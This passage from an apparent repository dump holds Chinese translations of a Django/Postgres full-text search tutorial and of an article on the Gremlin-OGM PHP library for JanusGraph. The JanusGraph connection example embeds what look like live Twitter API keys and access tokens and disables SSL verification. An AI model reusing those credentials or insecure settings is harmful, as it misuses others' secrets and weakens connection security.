SearchQuery('django')\nPost.objects.annotate(rank=SearchRank(F('search_vector'), query))\\\n    .filter(search_vector=query).order_by('-rank').values_list('title', 'rank')\n```\n\n```\n<QuerySet [\n  ('Django, the western character', 0.665342),\n  ('Python is a programming language', 0.364756)\n]>\n\n```\n\n## 索引 ##\n\n现在我们的文档是储存在一个字段中的，我们可以创建一个 GIN 索引来加快查询速度。在 Django 1.11 中，这简单到只需要为我们的模型添加一个 `indexes` Meta 选项，然后创建并执行 migrate 操作。\n\n```\nfrom django.contrib.postgres.indexes import GinIndex\n\nclass Post(models.Model):\n    title = models.CharField(max_length=50)\n    content = models.TextField()\n    author = models.ForeignKey(Author)\n    tags = models.ManyToManyField(Tag)\n    search_vector = SearchVectorField(null=True)\n\n    class Meta:\n        indexes = [\n            GinIndex(fields=['search_vector'])\n        ]\n```\n\n在 Django 1.10 中我们需要创建一个空的迁移并且添加上 `RunSQL` 操作。\n\n```\nmigrations.RunSQL(\n    \"CREATE INDEX blog_post_search_vector_idx ON blog_post USING gin(search_vector)\",\n    \"DROP INDEX blog_post_search_vector_idx\"\n)\n```\n\n# 更新文档 #\n\n目前为止是非常好的，但是一旦其中的任何数据发生改变，这个文档也就过期了，搜寻结果也将变得不正确。我们能够解决这个问题的第一个方法是使用一个 cron 或计划任务来定期更新整张表（如上所述）。这对于需要处理大量更新或者大批量更新的应用是个很好的选择。这样，我们就不需要为每一次更新增加额外的开销，而且可以更有效的一次性更新全部行。\n\n对于其它有着缓慢更新流程的应用，每次数据改变就更新数据表是更加合适的。这样做的优点是查询的数据将是实时的。这样做的缺点是每次更新都会计算 search_vector 从而增加了额外的开销。\n\n一种妥协的方式是把 search_vector 作为异步的进程放到队列里，这样它的更新可以非常快，而且更新仍然可以批量处理。这不在本文的范围之内，但根据应用的架构，这样做应该不会很难。\n\n最好的方式将取决于具体的应用。这里有一些简单的方法可以在每次数据更新时保存文档。\n\n## 重写 save() ##\n\n更新文档的其中一个方式是重写 Post 的 save() 方法。在这个方法中，每次查询依赖的数据更新了，search_vector 也会随之更新。所以查询的结果可以立即反映数据的改变。然而这会对数据库的每次更新操作增加额外的开销。\n\n首先我们将会创建一个自定义管理器，当我们调用它时将会向查询集添加文档，这样我们可以保持代码 DRY (译者注：Don't repeat yourself)，而且把我们的搜索向量只定义在了一个地方。\n\n```\nclass PostManager(models.Manager):\n    def with_documents(self):\n        vector = SearchVector('title', weight='A') + \\\n                 SearchVector('content', weight='C') + \\\n                 SearchVector('author__name', weight='B') + \\\n                 SearchVector(StringAgg('tags__name', delimiter=' '), weight='B')\n        return self.get_queryset().annotate(document=vector)\n```\n\n现在更新我们的 Post 模型，添加自定义管理器和自定义 save 方法。这里的想法时将数据保存到数据库，然后执行一个 SELECT 查询来将所有的数据连接到一起，之后再创建新的 search_vector。这样每次保存都会导致一次 UPATE，SELECT 以及另一个 UPDATE 的操作。\n\n```\nfrom django.contrib.postgres.search import SearchVectorField, SearchVector\n\nclass Post(models.Model):\n    title = models.CharField(max_length=50)\n    content = models.TextField()\n    author = models.ForeignKey(Author)\n    tags = models.ManyToManyField(Tag)\n    search_vector = SearchVectorField(null=True)\n\n    objects = PostManager()\n\n    def save(self, *args, **kwargs):\n        super().save(*args, **kwargs)\n        if 'update_fields' not in kwargs or 'search_vector' not in kwargs['update_fields']:\n            instance = self._meta.default_manager.with_documents().get(pk=self.pk)\n            instance.search_vector = instance.document\n            instance.save(update_fields=['search_vector'])\n```\n\n另外，更新 authors 和 tags 并不会触发这个 `save()`，所以我们也为它们添加信号来强制执行 Post 模型的 `save()` 来更新 search_vector。\n\n```\nfrom django.db.models.signals import post_save, m2m_changed\nfrom django.dispatch import receiver\n\n@receiver(post_save, sender=Author)\ndef author_changed(sender, instance, **kwargs):\n    for post in instance.post_set.with_documents():\n        post.search_vector = post.document\n        post.save(update_fields=['search_vector'])\n\n\n@receiver(m2m_changed, sender=Post.tags.through)\ndef post_tags_changed(sender, instance, action, **kwargs):\n    if action in ('post_add', 'post_remove', 'post_clear'):\n        instance.save()\n```\n\n现在所有对 Post，Author 或添加、删除、移除 tags 的操作都会触发查询数据的更新。如果一个 tag 被重命名了，那么我们不会在没有创建另一个信号处理程序的情况下接收它。\n\n## 使用触发器 ##\n\n也可以为数据库安装一些当数据改变时会自动更新 search_vector 的触发器。我不会描述太多的细节，但它们看起来会像下面这样。我们可以将它们添加到一次迁移中，使用 RunSQL 命令将它们安装到数据库。这个想法与上述完全一样，但是由于数据库可以在本地执行所有操作，并且不必将数据来回发送到Django，它将执行得更好。\n\n```\n-- Trigger on insert or update of blog.Post\nCREATE OR REPLACE FUNCTION post_search_vector_trigger() RETURNS trigger AS $$\nBEGIN\n  SELECT setweight(to_tsvector(NEW.title), 'A') ||\n         setweight(to_tsvector(NEW.content), 'C') ||\n         setweight(to_tsvector(author.name), 'B') ||\n         setweight(to_tsvector(COALESCE(string_agg(tag.name, ', '), '')), 'B')\n  INTO NEW.search_vector\n  FROM blog_post AS post\n  JOIN blog_author AS author ON author.id = post.author_id\n  JOIN blog_post_tags AS post_tags ON post_tags.post_id = post.id\n  JOIN blog_tag AS tag ON tag.id = post_tags.tag_id\n  WHERE post.id = NEW.id\n  GROUP BY post.id, author.id;\n  RETURN NEW;\nEND;\n$$ LANGUAGE plpgsql;\nCREATE TRIGGER search_vector_update BEFORE INSERT OR UPDATE ON blog_post\n  FOR EACH ROW EXECUTE PROCEDURE post_search_vector_trigger();\n\n-- Trigger after blog.Author is update\nCREATE OR REPLACE FUNCTION author_search_vector_trigger() RETURNS trigger AS $$\nBEGIN\n  UPDATE blog_post SET id = id WHERE author_id = NEW.id;\n  RETURN NEW;\nEND;\n$$ LANGUAGE plpgsql;\nCREATE TRIGGER search_vector_update AFTER INSERT OR UPDATE ON blog_author\n  FOR EACH ROW EXECUTE PROCEDURE author_search_vector_trigger();\n\n-- Trigger after blog.Post.tags are added, update or deleted\nCREATE OR REPLACE FUNCTION tags_search_vector_trigger() RETURNS trigger AS $$\nBEGIN\n  IF (TG_OP = 'DELETE') THEN\n    UPDATE blog_post SET id = id WHERE id = OLD.post_id;\n    RETURN OLD;\n  ELSE\n    UPDATE blog_post SET id = id WHERE id = NEW.post_id;\n    RETURN NEW;\n  END IF;\nEND;\n$$ LANGUAGE plpgsql;\nCREATE TRIGGER search_vector_update AFTER INSERT OR UPDATE OR DELETE ON blog_post_tags\n  FOR EACH ROW EXECUTE PROCEDURE tags_search_vector_trigger();。\n```\n\n# 结论 #\n\n现在我们已经有了一个运行中的应用了，该应用使用了 Postgres 的全文搜索，一旦它运行起来，大部分就不需要你管了。相较于搭一个  [elasticsearch](https://www.elastic.co/products/elasticsearch) 或者 [SOLR](http://lucene.apache.org/solr/) (even with [Haystack](http://haystacksearch.org/))，这简直是一股清流，而且这结果对于大多数应用来说已经足够了。\n\n想要查询更多的信息和功能，比如语言支持、自定义词根、三连词、口音等，请参见以下资源：\n\n- [Official PostgreSQL Full-Text Search Documentation](https://www.postgresql.org/docs/9.6/static/textsearch.html)\n- [Official Django Postgres Search Documentation](https://docs.djangoproject.com/en/1.11/ref/contrib/postgres/search/)\n- [Postgres full-text search is Good Enough](http://rachbelaid.com/postgres-full-text-search-is-good-enough/): 关于Postgres 全文搜索基础很棒的文章。\n- [An example project](https://github.com/nshafer/pgfulltext) 这个帖子所描述的例子。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/powering-php-with-janusgraph.md",
    "content": "> * 原文地址：[Powering PHP With JanusGraph](https://compose.com/articles/powering-php-with-janusgraph/)\r\n> * 原文作者：[Don Omondi](https://compose.com/articles/powering-php-with-janusgraph/)\r\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\r\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/powering-php-with-janusgraph.md](https://github.com/xitu/gold-miner/blob/master/TODO/powering-php-with-janusgraph.md)\r\n> * 译者：[GanymedeNil](https://github.com/GanymedeNil)\r\n> * 校对者：[allenlongbaobao](https://github.com/allenlongbaobao)\r\n\r\n# JanusGraph 为 PHP 助力\r\n\r\n**随着 JanusGraph 的日益流行，开发者们也毫无疑问地围绕着它开发着相应的工具。在这篇来自 Compose [Write Stuff](https://compose.com/write-stuff) 的文章中，Campus Discounts 的创始人兼首席技术官 Don Omondi 将谈到他为 JanusGraph 开发新的 PHP 库并且分享如何使用它。**\r\n\r\n在编程语言的世界中，PHP 并不需要过多介绍。它在 1995 年正式对外发布了 1.0 版本。现在 PHP 已经成为许多独角兽公司的中坚力量，而其中最为人知晓的就是 Facebook，最近像 Slack 也加入了 PHP 的阵营。截至 2017 年 9 月，[W3Techs](https://w3techs.com/technologies/overview/programming_language/all) 报告称，在所有已知网站中，服务端编程语言使用了 PHP 的占了 82.8% !\r\n\r\n在数据库的世界中，JanusGraph 虽是一位新成员，但它却有着深厚的技术底蕴，因为它建立在开源图形数据库的前任领导者 Titan 的基础上。为了提供给您一些关于图数据库的背景知识，请看[图数据库简介](https://www.compose.com/articles/introduction-to-graph-databases/)。虽然 JanusGraph 还很年轻，但是它已经被一个知名的独角兽公司 —— Uber 使用。\r\n\r\n所以最大的问题是，如何使用 PHP 和 JanusGraph 创建一家独角兽公司？相信我，我也希望我知道答案！但是，如果问题是如何使用 JanusGraph 来强化 PHP ？我倒是知道不止一种方法。\r\n\r\n### Gremlin-OGM PHP 库介绍\r\n\r\n[Gremlin-OGM](https://github.com/the-don-himself/gremlin-ogm) PHP 库是 Tinkerpop 3+ 兼容的图形数据库（JanusGraph，Neo4j 等）的对象图形映射器，允许您保存数据并运行 gremlin 查询。\r\n\r\n[该库已经托管在 Packagist 上了](https://packagist.org/packages/the-don-himself/gremlin-ogm) ，所以可以轻松的使用 Composer 安装。\r\n\r\n```\r\ncomposer require the-don-himself/gremlin-ogm  \r\n```\r\n\r\n使用该库也很容易，因为它有大量的 PHP 注释。但是在我们开始使用它之前，让我们深入探讨一下使用像 JanusGraph 这样的图形数据库时可能遇到的一些问题以及该库如何帮助您避免它们。\r\n\r\n### 注意事项\r\n\r\n首先，具有相同名称的所有属性必须具有相同的数据类型。如果您已经在不同的数据库中有数据，比如 MySQL 或者 MongoDB ，那么您可能会遇到这种情况。\r\n\r\n一个很好的例子就是在每个实体类或文档中称为 `id` 的字段。一些 ID 可能是一个整数的数据类型（1、2、3 等）, 其他一些可能是字符串类型 （例如在常见问题解答库中的 ID `en_1`、`es_1`、`fr_1`），另外还有\b比如 MongoDB 的 UUID（例子 `59be8696540bbb198c0065c4`）。对于这些不同的数据类型使用相同属性名称的\b情况会引发异常。Gremlin-OGM 库会发现这样的冲突并拒绝执行。作为一种解决方法，我建议将标签与单词 `id` 组合; 例如，用户的标识符变为 `users_id` 。该库附带一个序列化程序，允许您将字段映射到虚拟属性以避免此冲突。\r\n\r\n\r\n其次，属性（property）名称，边缘（edge）标签和顶点（vertex）标签在图中必须都是唯一的。例如，将 Vertex 标记为 `tweets` 并引用一个对象，然后创建一个 Edge 标记为 `tweets` 并引用用户操作，或者在 `users` Vertex 中创建一个 property `tweets` 来引用用户发出的推文数量。该库同样会发现这种冲突并拒绝执行。\r\n\r\n第三，对于性能和模式的有效性，我建议确保每个元素，或者至少每个顶点包含一个唯一的属性，在该唯一属性上将创建唯一的组合索引（也称为键索引）。这确保所有元素都是唯一的，并且会提高性能，因为在顶点之间添加边缘首先需要查询它们是否先存在。该库允许您为此目的使用 `@Id` 注释标记属性。\r\n\r\n最后，索引。这一点值得写一本或两本书。在 JanusGraph 中，基本上您索引的是属性（毕竟它是一个属性图），但是可以在不同的顶点和边缘上使用相同的属性名称。这样做时要非常小心。请记住第一件要注意的事情。因此，例如在默认情况下，属性 `total_comments` 上的索引将跨越所有顶点和边缘。查询其中`total_comments` 大于 `5` 的顶点会返回 `total_comments > 5` 的 `users` ，`total_comments > 5` 的博客帖子以及满足该查询的任何其他顶点的混合情况。更糟糕的情况是，一段时间后，如果您在 `recipes` 顶点了加一个 `total_comments` 属性，那么你现有的查询就会出错了。\r\n\r\n为了防止上述潜在的问题，JanusGraph 允许您在创建索引时设置标签参数以限制其范围。我建议这样做以保持索引更小和更高性能，但这意味着您必须为每个索引提供一个唯一的名称。Gremlin-OGM 库查找任何冲突的索引名称，如果发现将拒绝执行。\r\n\r\n### 如何使用 Gremlin-OGM\r\n\r\n要开始使用 Gremlin-OGM ，我们首先需要在我们的源文件夹中创建一个名为 Graph 的目录，例如 `src/Graph`。在这个目录下，我们需要创建两个不同的目录：一个叫做 Vertices ，另一个叫做 Edges 。这两个目录现在将包含定义我们图表元素的PHP类。\r\n\r\n顶点文件夹中的每个类主要使用注释描述顶点标签，关联索引和属性。对于更高级的用例，如果您使用 MongoDB 并拥有一个保存嵌入式文档的类（例如注释集合），则还可以定义最适合的嵌入边缘。\r\n\r\n边缘文件夹中的每个类还是通过注释描述边缘标签，相关索引和属性。每个边缘类中的两个属性也可以使用注释进行标记，一个用于描述顶点从哪链接过来的，另一个用于描述顶点要链接去哪。它的使用真的很简单，但我们还是用一个实例来说明吧。\r\n\r\n### 一个实际的例子：推特\r\n\r\nTwitter和图形数据库真的是天生一对。像用户和推文这样的对象可以形成顶点，而诸如 follow ，likes ，tweeted 和 retweets 等操作可以形成边缘。请注意，边缘 `tweeted` 是以这种方式命名的，以避免与顶点 `tweets` 发生冲突。这个简单的模型的图形表示可以如下图所示。\r\n\r\n![](https://res.cloudinary.com/dyyck73ly/image/upload/v1517108900/lvd2gsstbh57ebsjikto.png)\r\n\r\n让我们在 Graph/Vertexes 文件夹和 Graph/Edges 文件夹中创建相应的类。tweets 类可能如下所示：\r\n\r\n```\r\n<?php  \r\nnamespace TheDonHimself\\GremlinOGM\\TwitterGraph\\Graph\\Vertices;  \r\nuse JMS\\Serializer\\Annotation as Serializer;  \r\nuse TheDonHimself\\GremlinOGM\\Annotation as Graph;  \r\n/**\r\n* @Serializer\\ExclusionPolicy(\"all\")\r\n* @Graph\\Vertex(\r\n* label=\"tweets\",\r\n* indexes={\r\n* @Graph\\Index(\r\n* name=\"byTweetsIdComposite\",\r\n* type=\"Composite\",\r\n* unique=true,\r\n* label_constraint=true,\r\n* keys={\r\n* \"tweets_id\"\r\n* }\r\n* ),\r\n* @Graph\\Index(\r\n* name=\"tweetsMixed\",\r\n* type=\"Mixed\",\r\n* label_constraint=true,\r\n* keys={\r\n* \"tweets_id\" : \"DEFAULT\",\r\n* \"text\" : \"TEXT\",\r\n* \"retweet_count\" : \"DEFAULT\",\r\n* \"created_at\" : \"DEFAULT\",\r\n* \"favorited\" : \"DEFAULT\",\r\n* \"retweeted\" : \"DEFAULT\",\r\n* \"source\" : \"STRING\"\r\n* }\r\n* )\r\n* }\r\n* )\r\n*/\r\nclass Tweets  \r\n{\r\n /**\r\n * @Serializer\\Type(\"integer\")\r\n * @Serializer\\Expose\r\n * @Serializer\\Groups({\"Default\"})\r\n */\r\n public $id;\r\n /**\r\n * @Serializer\\VirtualProperty\r\n * @Serializer\\Expose\r\n * @Serializer\\Type(\"integer\")\r\n * @Serializer\\Groups({\"Graph\"})\r\n * @Serializer\\SerializedName(\"tweets_id\")\r\n * @Graph\\Id\r\n * @Graph\\PropertyName(\"tweets_id\")\r\n * @Graph\\PropertyType(\"Long\")\r\n * @Graph\\PropertyCardinality(\"SINGLE\")\r\n */\r\n public function getVirtualId()\r\n {\r\n return self::getId();\r\n }\r\n /**\r\n * @Serializer\\Type(\"string\")\r\n * @Serializer\\Expose\r\n * @Serializer\\Groups({\"Default\", \"Graph\"})\r\n * @Graph\\PropertyName(\"text\")\r\n * @Graph\\PropertyType(\"String\")\r\n * @Graph\\PropertyCardinality(\"SINGLE\")\r\n */\r\n public $text;\r\n /**\r\n * @Serializer\\Type(\"integer\")\r\n * @Serializer\\Expose\r\n * @Serializer\\Groups({\"Default\", \"Graph\"})\r\n * @Graph\\PropertyName(\"retweet_count\")\r\n * @Graph\\PropertyType(\"Integer\")\r\n * @Graph\\PropertyCardinality(\"SINGLE\")\r\n */\r\n public $retweet_count;\r\n /**\r\n * @Serializer\\Type(\"boolean\")\r\n * @Serializer\\Expose\r\n * @Serializer\\Groups({\"Default\", \"Graph\"})\r\n * @Graph\\PropertyName(\"favorited\")\r\n * @Graph\\PropertyType(\"Boolean\")\r\n * @Graph\\PropertyCardinality(\"SINGLE\")\r\n */\r\n public $favorited;\r\n /**\r\n * @Serializer\\Type(\"boolean\")\r\n * @Serializer\\Expose\r\n * @Serializer\\Groups({\"Default\", \"Graph\"})\r\n * @Graph\\PropertyName(\"retweeted\")\r\n * @Graph\\PropertyType(\"Boolean\")\r\n * @Graph\\PropertyCardinality(\"SINGLE\")\r\n */\r\n public $retweeted;\r\n /**\r\n * @Serializer\\Type(\"DateTime<'', '', 'D M d H:i:s P Y'>\")\r\n * @Serializer\\Expose\r\n * @Serializer\\Groups({\"Default\", \"Graph\"})\r\n * @Graph\\PropertyName(\"created_at\")\r\n * @Graph\\PropertyType(\"Date\")\r\n * @Graph\\PropertyCardinality(\"SINGLE\")\r\n */\r\n public $created_at;\r\n /**\r\n * @Serializer\\Type(\"string\")\r\n * @Serializer\\Expose\r\n * @Serializer\\Groups({\"Default\", \"Graph\"})\r\n * @Graph\\PropertyName(\"source\")\r\n * @Graph\\PropertyType(\"String\")\r\n * @Graph\\PropertyCardinality(\"SINGLE\")\r\n */\r\n public $source;\r\n /**\r\n * @Serializer\\Type(\"TheDonHimself\\GremlinOGM\\TwitterGraph\\Graph\\Vertices\\Users\")\r\n * @Serializer\\Expose\r\n * @Serializer\\Groups({\"Default\"})\r\n */\r\n public $user;\r\n /**\r\n * @Serializer\\Type(\"TheDonHimself\\GremlinOGM\\TwitterGraph\\Graph\\Vertices\\Tweets\")\r\n * @Serializer\\Expose\r\n * @Serializer\\Groups({\"Default\"})\r\n */\r\n public $retweeted_status;\r\n /**\r\n * Get id.\r\n *\r\n * @return int\r\n */\r\n public function getId()\r\n {\r\n return $this->id;\r\n }\r\n}\r\n```\r\n\r\nTwitter API 非常具有表现力，尽管我们实际上可以保存比顶点类允许的多得多的数据。但是，对于这个示例，我们只是对几个属性感兴趣。上述注释将告诉序列化程序仅在将 Twitter API 数据反序列化为顶点类对象时填充这些字段。\r\n\r\n为 `users` 顶点创建一个类似的类。完整的示例代码位于库中的 TwitterGraph 文件夹中。\r\n\r\n在 Graph/Edges 文件夹中可以创建一个示例 `Follows` 边缘类，它看起来像这样：\r\n\r\n```\r\n<?php  \r\nnamespace TheDonHimself\\GremlinOGM\\TwitterGraph\\Graph\\Edges;  \r\nuse JMS\\Serializer\\Annotation as Serializer;  \r\nuse TheDonHimself\\GremlinOGM\\Annotation as Graph;  \r\n/**\r\n* @Serializer\\ExclusionPolicy(\"all\")\r\n* @Graph\\Edge(\r\n* label=\"follows\",\r\n* multiplicity=\"MULTI\"\r\n* )\r\n*/\r\nclass Follows  \r\n{\r\n /**\r\n * @Graph\\AddEdgeFromVertex(\r\n * targetVertex=\"users\",\r\n * uniquePropertyKey=\"users_id\",\r\n * methodsForKeyValue={\"getUserVertex1Id\"}\r\n * )\r\n */\r\n protected $userVertex1Id;\r\n /**\r\n * @Graph\\AddEdgeToVertex(\r\n * targetVertex=\"users\",\r\n * uniquePropertyKey=\"users_id\",\r\n * methodsForKeyValue={\"getUserVertex2Id\"}\r\n * )\r\n */\r\n protected $userVertex2Id;\r\n public function __construct($user1_vertex_id, $user2_vertex_id)\r\n {\r\n $this->userVertex1Id = $user1_vertex_id;\r\n $this->userVertex2Id = $user2_vertex_id;\r\n }\r\n /**\r\n * Get User 1 Vertex ID.\r\n *\r\n *\r\n * @return int\r\n */\r\n public function getUserVertex1Id()\r\n {\r\n return $this->userVertex1Id;\r\n }\r\n /**\r\n * Get User 2 Vertex ID.\r\n *\r\n *\r\n * @return int\r\n */\r\n public function getUserVertex2Id()\r\n {\r\n return $this->userVertex2Id;\r\n }\r\n}\r\n```\r\n\r\n为 `likes`，`tweeted` 和 `retweets` 边缘创建类似的类。完成后，我们可以通过运行以下命令来检查模型的有效性：\r\n\r\n```\r\nphp bin/graph twittergraph:schema:check  \r\n```\r\n\r\n如果抛出异常，那么我们需要先解决它们；否则，我们的模型已经设置好了，现在我们需要做的就是告诉 JanusGraph 。\r\n\r\n### JanusGraph 连接\r\n\r\n`TheDonHimself\\GremlinOGM\\GraphConnection` 类负责初始化图形连接。您可以通过创建一个新的实例并在数组中传递一些连接选项来实现。\r\n\r\n```\r\n$options = [\r\n 'host' => 127.0.0.1,\r\n 'port' => 8182,\r\n 'username' => null,\r\n 'password' => null,\r\n 'ssl' = [\r\n 'ssl_verify_peer' => false,\r\n 'ssl_verify_peer_name' => false\r\n ],\r\n 'graph' => 'graph',\r\n 'timeout' => 10,\r\n 'emptySet' => true,\r\n 'retryAttempts' => 3,\r\n 'vendor' = [\r\n 'name' => _self',\r\n 'database' => 'janusgraph',\r\n 'version' => '0.2'\r\n ],\r\n 'twitter' => [\r\n 'consumer_key' => 'LnUQzlkWlNT4oNUh7a2rwFtwe',\r\n 'consumer_secret' => 'WCIu0YhaOUBPq11lj8psxZYobCjXpYXHxXA6rVcqbuNDYXEoP0',\r\n 'access_token' => '622225192-upvfXMpeb9a3FMhuid6oBiCRsiAokpNFgbVeeRxl',\r\n 'access_token_secret' => '9M5MnJOns2AFeZbdTeSk3R81ZVjltJCXKtxUav1MgsN7Z'\r\n ]\r\n];\r\n```\r\n\r\nvendor 数组可以指定 vendor-specific 信息，如 gremlin 兼容的数据库、版本、服务主机名称（或 `_self` 本机）以及图的名称。\r\n\r\n最终创建模型，我们将运行此命令。\r\n\r\n```\r\nphp bin/graph twittergraph:schema:create  \r\n```\r\n\r\n这个命令将要求一个可选的 `configPath` 参数，该参数是建立连接时包含 `options` 数组的 yaml 配置文件的位置。该库在根文件夹中有三个示例配置，`janusgraph.yaml`，`janusgraphcompose.yaml` 和 `azure-cosmosdb.yaml`。\r\n\r\n上述命令将递归遍历我们的 `TwitterGraph/Graph` 目录并查找所有 `@Graph` 注释来构建模型定义。如果发现异常将被抛出;否则，它将启动一个 Graph 事务来一次提交所有属性、边缘和顶点，或者在失败时回滚。\r\n\r\n同样的命令也会询问您是否要执行 `dry run`。如果指定，则不会将命令发送到 gremlin 服务器，而是将其转储到您可以检查的 `command.groovy` 文件中。对于Twitter示例，这 26 行是根据您的配置发送或转储的命令（如janusgraph _self 本机）。\r\n\r\n```\r\nmgmt = graph.openManagement()  \r\ntext = mgmt.makePropertyKey('text').dataType(String.class).cardinality(Cardinality.SINGLE).make()  \r\nretweet_count = mgmt.makePropertyKey('retweet_count').dataType(Integer.class).cardinality(Cardinality.SINGLE).make()  \r\nretweeted = mgmt.makePropertyKey('retweeted').dataType(Boolean.class).cardinality(Cardinality.SINGLE).make()  \r\ncreated_at = mgmt.makePropertyKey('created_at').dataType(Date.class).cardinality(Cardinality.SINGLE).make()  \r\nsource = mgmt.makePropertyKey('source').dataType(String.class).cardinality(Cardinality.SINGLE).make()  \r\ntweets_id = mgmt.makePropertyKey('tweets_id').dataType(Long.class).cardinality(Cardinality.SINGLE).make()  \r\nname = mgmt.makePropertyKey('name').dataType(String.class).cardinality(Cardinality.SINGLE).make()  \r\nscreen_name = mgmt.makePropertyKey('screen_name').dataType(String.class).cardinality(Cardinality.SINGLE).make()  \r\ndescription = mgmt.makePropertyKey('description').dataType(String.class).cardinality(Cardinality.SINGLE).make()  \r\nfollowers_count = mgmt.makePropertyKey('followers_count').dataType(Integer.class).cardinality(Cardinality.SINGLE).make()  \r\nverified = mgmt.makePropertyKey('verified').dataType(Boolean.class).cardinality(Cardinality.SINGLE).make()  \r\nlang = mgmt.makePropertyKey('lang').dataType(String.class).cardinality(Cardinality.SINGLE).make()  \r\nusers_id = mgmt.makePropertyKey('users_id').dataType(Long.class).cardinality(Cardinality.SINGLE).make()  \r\ntweets = mgmt.makeVertexLabel('tweets').make()  \r\nusers = mgmt.makeVertexLabel('users').make()  \r\nfollows = mgmt.makeEdgeLabel('follows').multiplicity(MULTI).make()  \r\nlikes = mgmt.makeEdgeLabel('likes').multiplicity(MULTI).make()  \r\nretweets = mgmt.makeEdgeLabel('retweets').multiplicity(MULTI).make()  \r\ntweeted = mgmt.makeEdgeLabel('tweeted').multiplicity(ONE2MANY).make()  \r\nmgmt.buildIndex('byTweetsIdComposite', Vertex.class).addKey(tweets_id).unique().indexOnly(tweets).buildCompositeIndex()  \r\nmgmt.buildIndex('tweetsMixed',Vertex.class).addKey(tweets_id).addKey(text,Mapping.TEXT.asParameter()).addKey(retweet_count).addKey(created_at).addKey(retweeted).addKey(source,Mapping.STRING.asParameter()).indexOnly(tweets).buildMixedIndex(\"search\")  \r\nmgmt.buildIndex('byUsersIdComposite',Vertex.class).addKey(users_id).unique().indexOnly(users).buildCompositeIndex()  \r\nmgmt.buildIndex('byScreenNameComposite',Vertex.class).addKey(screen_name).unique().indexOnly(users).buildCompositeIndex()  \r\nmgmt.buildIndex('usersMixed',Vertex.class).addKey(users_id).addKey(name,Mapping.TEXTSTRING.asParameter()).addKey(screen_name,Mapping.STRING.asParameter()).addKey(description,Mapping.TEXT.asParameter()).addKey(followers_count).addKey(created_at).addKey(verified).addKey(lang,Mapping.STRING.asParameter()).indexOnly(users).buildMixedIndex(\"search\")  \r\nmgmt.commit()  \r\n```\r\n\r\n现在我们有了一个有效的模型设置，我们需要的只是数据。Twitter API 有很好的文档关于如何请求这些数据。Gremlin-OGM 库附带了一个 _twitteroauth_ 包 ([abraham/twitteroauth](https://packagist.org/packages/abraham/twitteroauth_)) 以及一个准备好的只读 Twitter 应用程序，用于测试该库并帮助您开始使用。\r\n\r\n从 API 中获取数据后，保持顶点非常简单。首先，将 JSON 反序列化为相应的顶点类对象。因此，例如，`@TwitterDev` 通过取回的 Twitter 数据 `/api/users/show` 将被反序列化，如图所示 `var_dump()` 。\r\n\r\n```\r\nobject(TheDonHimself\\GremlinOGM\\TwitterGraph\\Graph\\Vertices\\Users)#432 (8) {  \r\n [\"id\"]=>\r\n int(2244994945)\r\n [\"name\"]=>\r\n string(10) \"TwitterDev\"\r\n [\"screen_name\"]=>\r\n string(10) \"TwitterDev\"\r\n [\"description\"]=>\r\n string(136) \"Developer and Platform Relations @Twitter. We are developer advocates. We can't answer\r\nall your questions, but we listen to all of them!\"  \r\n [\"followers_count\"]=>\r\n int(429831)\r\n [\"created_at\"]=>\r\n object(DateTime)#445 (3) {\r\n [\"date\"]=>\r\n string(26) \"2013-12-14 04:35:55.000000\"\r\n [\"timezone_type\"]=>\r\n int(1)\r\n [\"timezone\"]=>\r\n string(6) \"+00:00\"\r\n }\r\n [\"verified\"]=>\r\n bool(true)\r\n [\"lang\"]=>\r\n string(2) \"en\"\r\n}\r\n```\r\n\r\n序列化的 PHP 对象现在已经开始在各自的顶点和边缘中形成。但是，我们只能将 gremlin 命令作为字符串发送，所以我们仍然需要将对象序列化为命令字符串。我们将使用一个方便命名的类`GraphSerializer` 来执行此操作。将反序列化的对象传递给`GraphSerializer` 的一个实例，该实例将处理复杂的序列化，如剥离新行，添加斜杠，将PHP `DateTime` 转换为 JanusGraph 所期望的格式。`GraphSerializer` 也优雅地处理 Geopoint 和 Geoshape 序列化。\r\n\r\n```\r\n// Get Default Serializer\r\n$serializer = SerializerBuilder::create()->build();\r\n// Get Twitter User\r\n$decoded_user = $connection->get(\r\n 'users/show',\r\n array(\r\n 'screen_name' => $twitter_handle,\r\n 'include_entities' => false,\r\n )\r\n);\r\nif (404 == $connection->getLastHttpCode()) {  \r\n $output->writeln('Twitter User @'.$twitter_handle.' Does Not Exist');\r\n return;\r\n}\r\n// Use default serializer to convert array from Twitter API to Users Class Object handling complex\r\ndeserialization like Date Time  \r\n$user = $serializer->fromArray($decoded_user, Users::class);\r\n// Initiate Special Graph Serializer\r\n$graph_serializer = new GraphSerializer();\r\n// Use graph serializer to convert Users Class Object to array handling complex deserialization like\r\nGeoshape  \r\n$user_array = $graph_serializer->toArray($user);\r\n// Use graph serializer to convert array to a gremlin command string ready to be sent over\r\n$command = $graph_serializer->toVertex($user_array);\r\n```\r\n\r\nGraphSerializer 输出将串入 Gremlin 的命令。这个字符串就准备好发送到 JanusGraph 服务器。所以在上面的例子中，它变成：\r\n\r\n```\r\n\"g.addV(label, 'users', 'users_id', 2244994945, 'name', 'TwitterDev', 'screen_name', 'TwitterDev', 'description', 'Developer and Platform Relations @Twitter. We are developer advocates. We can\\'t answer all your questions, but we listen to all of them!', 'followers_count', 429831, 'created_at', 1386995755000, 'verified', true, 'lang', 'en')\"\r\n```\r\n\r\n保存边缘要稍微简单一点，因为它的前提是定点存在。因此，库需要知道属性键值对来查找它们。此外，边缘在图数据库中具有方向和多重性。因此，边缘要添加到顶点这非常重要。\r\n\r\n这是 Edge 类中 `@Graph\\AddEdgeFromVertex` 和 `@Graph\\AddEdgeToVertex` 属性注释的用途。它们都扩展了 `@Graph\\AddEdge` 注解来指示目标顶点类以及属性键和获取该值所需的方法数组。\r\n\r\n假设我们已经在 Twitter API 中查询到了 tweets ,其中包含一个名为 `user` 的嵌入字段，用于保存 tweeter 数据。如果 